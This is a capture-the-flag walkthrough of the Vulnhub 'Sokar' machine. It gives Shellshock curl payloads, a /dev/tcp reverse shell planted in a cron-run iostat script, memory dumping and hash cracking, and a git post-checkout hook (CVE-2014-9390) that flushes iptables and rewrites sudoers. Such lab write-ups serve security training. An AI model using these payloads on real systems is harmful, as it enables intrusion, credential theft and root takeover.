Sokar hacking challenge

Sokar Vulnhub Competition

Author: teh3ck


Email: teh3ck[@]gmail[d0t]com



Sokar is the first Vulnhub competition in 2015 by Rasta Mouse. As usual, you have to reach the flag of the boot2root machine.

Link for the Sokar Virtual Machine:,113/

Sokar Enumeration

First thing of course is to find sokar's ip address. Since is the dhcp server and is my host machine, sokar's ip is

$ nmap 192.168.56.* 

Starting Nmap 6.47 ( )  
Nmap scan report for  
Host is up (0.000033s latency).  
All 1000 scanned ports on are filtered  
MAC Address: 08:00:27:D4:85:F7 (Cadmus Computer Systems) 

Nmap scan report for  
Host is up (0.00017s latency).  
All 1000 scanned ports on are filtered  
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems) 

Nmap scan report for gh0st (  
Host is up (0.0000040s latency).  
Not shown: 998 closed ports  
22/tcp open  ssh  
53/tcp open  domain 

Nmap done: 256 IP addresses (3 hosts up) scanned in 44.75 seconds  

Scanning for open tcp ports...:

$ nmap -p 1-65535 

Starting Nmap 6.47 ( )  
Nmap scan report for  
Host is up (0.00012s latency).  
Not shown: 65534 filtered ports  
591/tcp open  http-alt  
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems) 

Nmap done: 1 IP address (1 host up) scanned in 750.25 seconds  

Let's browse to


It seems we have some internal stats here. The most interesting part from the stats is that we have a x64 system.

The source code of the web page shows that the program that produces all that info is the /cgi-bin/cat.


When I saw the /cgi-bin/ directory the first thing that came to my mind was shellshock. Let's spoof the User-Agent with the shellshock's payload. I run the command /bin/cat /etc/passwd and the reply of sokar was the /etc/passwd file.

One clue that is important from the passwd file is the two users (bynarr and apophis) and their home directories(/home/bynarr and /home/apophis)

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd' 

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin  
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin  
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin  
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin  

The system enumeration was continued and after I tried some payloads with reverse shell and bind shell with no luck, I wanted to check what is loaded on system boot. Hmm, I can see iptables and crond. Sokar is strictly firewalled, incoming and outgoing connections.

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /var/log/boot.log' 

        Welcome to CentOS 
Starting udev:         [  OK  ]  
Setting hostname sokar:  [  OK  ]  
Setting up Logical Volume Management:   No volume groups found      [  OK  ]  
Checking filesystems  
/dev/sda1: clean, 44872/98304 files, 279852/392960 blocks    [  OK  ] 
Remounting root filesystem in read-write mode:[OK]  
Mounting local filesystems:     [  OK  ]  
Enabling /etc/fstab swaps:      [  OK  ]  
Entering non-interactive startup  
Calling the system activity data collector (sadc)...  
ip6tables: Applying firewall rules: [  OK  ]  
iptables: Applying firewall rules:   [  OK  ]  
Bringing up loopback interface:   [  OK  ]  
Bringing up interface eth0:  
Determining IP information for eth0...[  OK  ]  
Starting auditd:          [  OK  ]  
Starting system logger:   [  OK  ]  
Mounting other filesystems: [  OK  ]  
Retrigger failed udev events [  OK  ]  
Starting httpd: httpd: apr_sockaddr_info_get() failed for sokar  
httpd: Could not reliably determine the server's fully qualified domain name, using for ServerName[  OK  ]  
Starting crond: [  OK  ]  

Next step is to check the home directories of apophis and bynarr. Due to permissions, we only have access to bynarr's home directory.

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/ls -la /home/bynarr/' 

total 36  
drwxrwxrwx. 2 bynarr bynarr  4096 Jan 27 19:14 .  
drwxr-xr-x. 4 root   root    4096 Dec 30 19:20 ..  
-rw-------. 1 bynarr bynarr     0 Jan 27 19:30 .bash_history 
-rw-r--r--. 1 bynarr bynarr    18 Feb 21  2013 .bash_logout 
-rw-r--r--. 1 bynarr bynarr   178 Nov 12 14:26 .bash_profile 
-rw-r--r--. 1 bynarr bynarr   124 Feb 21  2013 .bashrc 
-rwxr-xr-x  1 root   root     368 Jan 27 19:14 lime 
-rw-------  1 root   root   10728 Nov 13 11:45 lime.ko 

Oh! There is something very interesting in /home/bynarr/.bash_profile. The first “parameter” of PATH environment variable is '.'. That means that if I find a program that is running as bynarr user and it isn't executed with its absolute path, I can create a fake program inside the bynarr's home directory that will run with bynarr's privileges.

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /home/bynarr/.bash_profile' 

# .bash_profile 

# Get the aliases and functions 
if [ -f ~/.bashrc ]; then  
    . ~/.bashrc 

# User specific environment and startup programs 


export PATH  

'lime' is a bash script that seems to load a kernel module that dumps the memory and stores it to /tmp/ram file. But, it need the input “add” to complete that process. That's a no-no for the current shell because it isn't interactive.

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /home/bynarr/lime' 

echo """  
Linux Memory Extractorator  
echo "LKM, add or remove?"  
echo -en "> " 

read -e input 

if [ $input == "add" ]; then 

    /sbin/insmod /home/bynarr/lime.ko "path=/tmp/ram format=raw" 

elif [ $input == "remove" ]; then 

    /sbin/rmmod lime 


    echo "Invalid input, burn in the fires of Netu!" 


After some time searching for clues in order to get an interactive shell, I found an email sent to bynarr by the root user. It says that we can have outgoing connections on port 51242 as bynarr user.

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /var/mail/bynarr' 

Return-Path: <[email protected]>  
Delivered-To: [email protected]  
Received:  from root by localhost  
To: <[email protected]>  
Date: Thu, 13 Nov 2014 22:04:31 +0100  
Subject: Welcome 

Dear Bynarr.  Welcome to Sokar Inc. Forensic Development Team.  
A user account has been setup for you. 

UID 500 (bynarr)  
GID 500 (bynarr)  
    501 (forensic) 

Password 'fruity'.  Please change this ASAP.  
Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis. 

All the best in your new role! 


The enumeration process is continued with the observation of how the internal server stats are generated in /var/www/cgi-bin/cat program.

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/ls -la /var/www/cgi-bin/' 

total 12  
drwxr-xr-x. 2 root root 4096 Jan 25 11:34 .  
drwxr-xr-x. 5 root root 4096 Nov 15 12:09 ..  
-rwxr-xr-x  1 root root  169 Jan 25 11:33 cat 

'root' user is the owner of cat program. It runs the commands date and uptime and then it just printing the /tmp/stats file to the stdout. The commands aren't using absolute paths. That could be a serious security risk as the cat program is owned by root. It seems that the path environment variable is set true and it can't be exploited that way. If a cross-check is done between the browser's output in 591 port and the cat program, two commands are missing from cat program.netstat and iostat.

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /var/www/cgi-bin/cat' 


echo "Content-type: text/html";  
echo "" 

/bin/cat << EOM 


echo `date` 
echo `uptime` 
echo "<br />" 
/bin/cat /tmp/stats 

/bin/cat << EOM 

The /tmp/stats file is owned by bynarr. That means that netstat and iostat programs are being run as bynarr. The machine is very well firewalled but root emailed bynarr that outgoing traffic at port 51242 is permitted from his account. If the same coding pattern is used (running commands with relative path) we can exploit it and have reverse shell as bynarr user. Running /bin/ls -la /tmp some times and I saw that it is changed almost every minute.

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/ls -la /tmp' 

total 16  
drwxrwxrwt.  3 root   root   4096 Feb 15 12:24 .  
dr-xr-xr-x. 22 root   root   4096 Feb 15 10:36 ..  
drwxrwxrwt   2 root   root   4096 Feb 15 10:36 .ICE-unix  
-rw-rw-r--   1 bynarr bynarr 1291 Feb 15 13:11 stats 

Reverse Shell

Netcat listener is set up on one shell nc -l -p 51242
Netstat command didn't work for reverse shell on port 51242. But iostat... W00T

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/echo -e "#!/bin/bash\n/bin/bash -i >& /dev/tcp/ 0>&1" > /home/bynarr/iostat' 

Permission for execution is given to iostat file in order to be executed. Now we have to wait max 1 minute to have our reverse shell.

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/chmod +x /home/bynarr/iostat'


The full command from bynarr's crontab:

[[email protected] ~]$ crontab -l 
crontab -l  
* * * * * /bin/bash -l -c 'source ~/.bash_profile; /bin/netstat -an 2>&1 > /tmp/stats; printf "\n" >> /tmp/stats; iostat 2>&1 >> /tmp/stats' > /dev/null

Checking if bynarr is in /etc/sudoers file and if it is permitted to run any commands as root.

[[email protected] ~]$ sudo -l 
sudo -l  
Matching Defaults entries for bynarr on this host:  
    !requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS 

User bynarr may run the following commands on this host:  
    (ALL) NOPASSWD: /home/bynarr/lime

Running lime as root user:

[[email protected] ~]$ sudo ./lime 
sudo ./lime 

Linux Memory Extractorator  

LKM, add or remove?  
> add 

So, the memory dump is located in /tmp/ram. In order to transfer the dump to attacker's pc for further investigation shellshock can be used

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /tmp/ram' > /tmp/ram_dump

Memory dumps contain a lot of unreadable characters. Strings program will clean up the things:

$ strings /tmp/ram_dump > /tmp/ram_clean_dump

The first thing someone should try to get from a memory dump is password hashes. Passwords in Unix systems are stored in /etc/shadow file. The algorithm that is used in order the password to be stored in the shadow file is defined in the /etc/logins.defs. The hash algorithm that is used inCentos is the sha-512. That means that the hash will start with '$6$' string.

$ cat /tmp/ram_clean_dump | grep 'apophis:$6$'

Let's crack that hash! I will use rockyou.txt wordlist for that. In hashcat configuration the number for sha512 is 1800.

$ hashcat -m 1800 -a 0 -o found.txt --remove ./apophis1 /usr/share/wordlists/rockyou.txt

Aaand WOILA! The password for apophis user is: overdrive

Root Privilege Escalation

After logging in as apophis, a suid program owned by root exists in his home directory.

[[email protected] ~]$ ls -la 
ls -la  
total 32  
drwx------  2 apophis apophis 4096 Jan  2 20:12 .  
drwxr-xr-x. 4 root    root    4096 Dec 30 19:20 ..  
-rw-------  1 apophis apophis    0 Jan 15 21:15 .bash_history 
-rw-r--r--  1 apophis apophis   18 Feb 21  2013 .bash_logout 
-rw-r--r--  1 apophis apophis  176 Feb 21  2013 .bash_profile 
-rw-r--r--  1 apophis apophis  124 Feb 21  2013 .bashrc 
-rwsr-sr-x  1 root    root    8430 Jan  2 17:49 build

build program is complaining for not resolving sokar-dev hostname.

[[email protected] ~]$ ./build 
Build? (Y/N) Y  
Cloning into '/mnt/secret-project'...  
ssh: Could not resolve hostname sokar-dev: Temporary failure in name resolution  
fatal: Could not read from remote repository. 

Please make sure you have the correct access rights  
and the repository exists.  

Let's check build program for reversing protections. The binary is very well protected. Since Stack Canaries and a full ASLR system are applied, I will first check for other vulnerabilities.

$ bash --file /tmp/build 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE  
No RELRO        Canary found      NX disabled   PIE enabled     No RPATH   No RUNPATH   /tmp/build 

[[email protected] ~]$ cat /proc/sys/kernel/randomize_va_space 
cat /proc/sys/kernel/randomize_va_space  

Disassembly of the file showed an intersting function with 'encryptDecrypt' name.

$ objdump -d ~/build 
00000000000008ac <encryptDecrypt>:  
 8ac:    48 89 fa                mov    %rdi,%rdx 
 8af:    41 b9 00 00 00 00       mov    $0x0,%r9d 
 8b5:    49 c7 c3 ff ff ff ff    mov    $0xffffffffffffffff,%r11 
 8bc:    49 89 fa                mov    %rdi,%r10 
 8bf:    b8 00 00 00 00          mov    $0x0,%eax 
 8c4:    eb 10                   jmp    8d6 <encryptDecrypt+0x2a> 
 8c6:    42 0f b6 0c 02          movzbl (%rdx,%r8,1),%ecx 
 8cb:    83 f1 49                xor    $0x49,%ecx 
 8ce:    42 88 0c 06             mov    %cl,(%rsi,%r8,1) 
 8d2:    41 83 c1 01             add    $0x1,%r9d 
 8d6:    4d 63 c1                movslq %r9d,%r8 
 8d9:    4c 89 d9                mov    %r11,%rcx 
 8dc:    4c 89 d7                mov    %r10,%rdi 
 8df:    f2 ae                   repnz scas %es:(%rdi),%al 
 8e1:    48 f7 d1                not    %rcx 
 8e4:    48 83 e9 01             sub    $0x1,%rcx 
 8e8:    49 39 c8                cmp    %rcx,%r8 
 8eb:    72 d9                   jb     8c6 <encryptDecrypt+0x1a> 
 8ed:    f3 c3                   repz retq 

Further binary analysis of that function should take place in the local system. I copied the file to /tmp and then used shellshock to transfer it to my pc.

[[email protected] bynarr]$ cp ~/build /tmp 

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /tmp/build' > /tmp/build

I had to remove the first line of /tmp/build that is added by the output of shellshock payload. That way, it will be recognized as ELF 64-bit LSB shared object.

$ sed '1d' /tmp/build > /tmp/build_bin 

$ file /tmp/build_bin 
/tmp/build_bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0x3780ee7dee4f266c94763d2cda64a5477a8b153c, not stripped 

I gave executable permission to the binary, put a breakpoint at the end of the encryptDecrypt function in order to see the result of the function in memory.

$ chmod +x /tmp/build_bin 


'encryptDecrypt' function reveals the command that is being executed as root:

'/usr/bin/git clone ssh:[email protected]:/root/secret-project /mnt/secret-project/'

Git version is 2.2.0 which is vulnerable to CVE-2014-9390.

[[email protected] bynarr]$ git --version 
git --version  
git version 2.2.0  

An idea came to my mind. What if I spoofed the nameserver address to my own nameserver? I checked if /etc/resolv.conf is world writable and... YESSS!!!

[[email protected] bynarr]$ ls -la /etc/resolv.conf 
ls -la /etc/resolv.conf  
-rw-rw-rw- 1 root root 19 Jan  2 20:12 /etc/resolv.conf 

Till now, I have vulnerable git version and world writable resolv.conf. With them I am able to direct the requests to my machine as sokar-dev. But one little piece is missing. For CVE-2014-9390 to be exploitable, an insensitive filesystem is required. The command that build binary is running clones the remote repository to /mnt/secret-project. After checking with mount command the filesystems, the /mnt is vfat.

“Old Windows filesystems (VFAT, FAT32) are not case-sensitive (there cannot be a readme.txt and a Readme.txt in the same directory)” Source:

[[email protected] ~]$ mount 
/dev/sda1 on / type ext4 (rw) 
proc on /proc type proc (rw)  
sysfs on /sys type sysfs (rw)  
devpts on /dev/pts type devpts (rw,gid=5,mode=620)  
tmpfs on /dev/shm type tmpfs (rw)  
/dev/sdb1 on /mnt type vfat (rw,uid=501,gid=502) 
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)  

In the local machine I should add the sokar-dev name resolution and run dnsmasq for the changes to take effect(local dns server).

$ echo “    sokar-dev” >> /etc/hosts
$ echo “ListenAddress” >> /etc/ssh/sshd_config
$ /etc/init.d/ssh start
$ dnsmasq

Then, /etc/resolv.conf in sokar machine should change to nameserver (dnsmasq local dns server ip).

The next step is to prepare the git payload in the local system. I will create the /root/secret-project/.Git/hooks/ directories and initialize the git environment in /root/secret-project.

$ mkdir -p /root/secret-project/.Git/hooks/ 
$ git init /root/secret-project/

Then, the payload will be located in .Git/hooks/post-checkout file. I am choosing post-checkout file because it is a client side hook and it is triggered by the git clone command in order to run a custom script(exploit) on sokar. The script will be run as root since build program runs the git clone command as root.

$ echo -e 'service sshd start\niptables -F\ncat /root/flag\necho "apophis        ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers' > /root/secret-project/.Git/hooks/post-checkout

$ cd /root/secret-project/; git add .; git commit -m 'pwned' -q; service ssh start

In sokar machine we shoud point the name server to local dns server(host machine).

$ echo “nameserver” > /etc/resolv.conf

Let's run the exploit.




Conclusion & Bonus

It was a great learning experience for me. Thanks Vulnhub and Rasta Mouse for providing such challenges!

After completing the challenge, I added one more challenge to myself: Automating the whole process for being root with the less dependencies. Of course, I chose python scripting language to accomplish the challenge. I am introducing with only one dependency, dnsmasq. The script can be found in under sokar's solution blog post.

Here is the output:

$ python -a -l -p toor 

        Sokar Auto Pwner 
    Author :        teh3ck 
    Email  :        [email protected] 
    Blog   : 
    Only dependency:    dnsmasq 
    Tested on Debian(Kali)/Ubuntu 
    Thanks @rasta_mouse and @Vulnhub for providing such challenges! 

[+] Attempting to connect to on port 591 
[+] Attacking Sokar 
[+] Shellshocking on ... 
[+] Writing payload to iostat file... 
[+] Giving executing permissions to iostat file... 
[+] Listening on port 51242... 
[+] Reverse connection succeeded from : 
[+] Spawning a tty... 
[+] Creating file that contains the lime answer... 
[+] Doing memory dump... 
[+] Cracking password for: apophis 
[+] Hash value: $6$0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0egWYcaeTYau11ahsRAWRDdT8jPltH. 
[+] Found password: overdrive 
[+] sokar-dev added in /etc/hosts file 
[+] ListenAddress already in /etc/ssh/sshd_config file 
Initialized empty Git repository in /root/secret-project/.git/  
[ ok ] Starting OpenBSD Secure Shell server: sshd. 
[+] Listening on port 51242... 
[+] Reverse connection succeeded from : 
[+] Spawning a tty... 
[+] Getting interactive shell... 
[+] Logging in as apophis... 
[+] Adding nameserver to the /etc/resolv.conf... 

remote: Counting objects: 5, done.  
remote: Compressing objects: 100% (2/2), done.  
remote: Total 5 (delta 0), reused 0 (delta 0)  
Receiving objects: 100% (5/5), done.  
Checking connectivity... done.  
Starting sshd: [  OK  ]  
#include <stdio.h> 
#include <string.h> 

void encryptDecrypt(char *input, char *output) {  
        char key[] = {'I'}; 

        int i; 
        for(i = 0; i < strlen(input); i++) { 
                output[i] = input[i] ^ key[i % (sizeof(key)/sizeof(char))]; 

int main (int argc, char *argv[]) { 

        char baseStr[] = "f<:;f+ 'f. =i*%&',i::!sff;&&=    :&\"(;d-,?sf;&&=f:,*;,=d9;&#,*=if$'=f:,*;,=d9;&#,*=f"; 

    char a[2]; 
    char b[2] = "Y"; 

    printf("Build? (Y/N) "); 

    if( strcmp(a,b) == 0) { 

            char encrypted[strlen(baseStr)]; 
            encryptDecrypt(baseStr, encrypted); 
        setreuid(0, 0); 


        printf("OK :(\n"); 

                0   0 
                |   | 
         0  |~ ~ ~ ~ ~ ~|   0 
         |  |   Happy   |   | 
      ___|__|_         _|___|__ 
  0   |    B i r t h d a y    |   0 
  |   |/\/\/\/\/\/\/\/\/\/\/\/|   | 
 _|___|                       |___|__ 
|                                   | 
|     V  u  l  n  H  u  b   ! !     | 
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ | 
|                                   | 

| Congratulations on beating Sokar! | 
|                                   | 
|  Massive shoutout to g0tmi1k and  | 
| the entire community which makes  | 
|         VulnHub possible!         | 
|                                   | 
|    rasta_mouse (@_RastaMouse)     | 
Build? (Y/N) [[email protected] bynarr]$  
[+] Attempting to connect to on port 22 
[+] ssh [email protected] 
[+] Password: overdrive 
[+] $sudo su 
[+] W00T 

The iptables rules that made sokar not-so-easy for reverse shells!

Chain INPUT (policy ACCEPT)  
target     prot opt source               destination  
ACCEPT     all  --  anywhere             anywhere            state RELATED,ESTABLISHED  
DROP       icmp --  anywhere             anywhere  
ACCEPT     all  --  anywhere             anywhere  
ACCEPT     tcp  --  anywhere             anywhere            state ESTABLISHED tcp spt:ssh  
ACCEPT     tcp  --  anywhere             anywhere            state NEW,ESTABLISHED tcp dpt:591  
ACCEPT     udp  --  anywhere             anywhere            udp spt:domain 

Chain FORWARD (policy ACCEPT)  
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)  
target     prot opt source               destination  
ACCEPT     tcp  --  anywhere             anywhere            state NEW,ESTABLISHED owner UID match root tcp dpt:ssh  
ACCEPT     udp  --  anywhere             anywhere            udp dpt:domain owner UID match root  
ACCEPT     tcp  --  anywhere             anywhere            state ESTABLISHED tcp spt:591  
ACCEPT     tcp  --  anywhere             anywhere            state NEW,ESTABLISHED owner GID match bynarr tcp dpt:51242  
DROP       all  --  anywhere             anywhere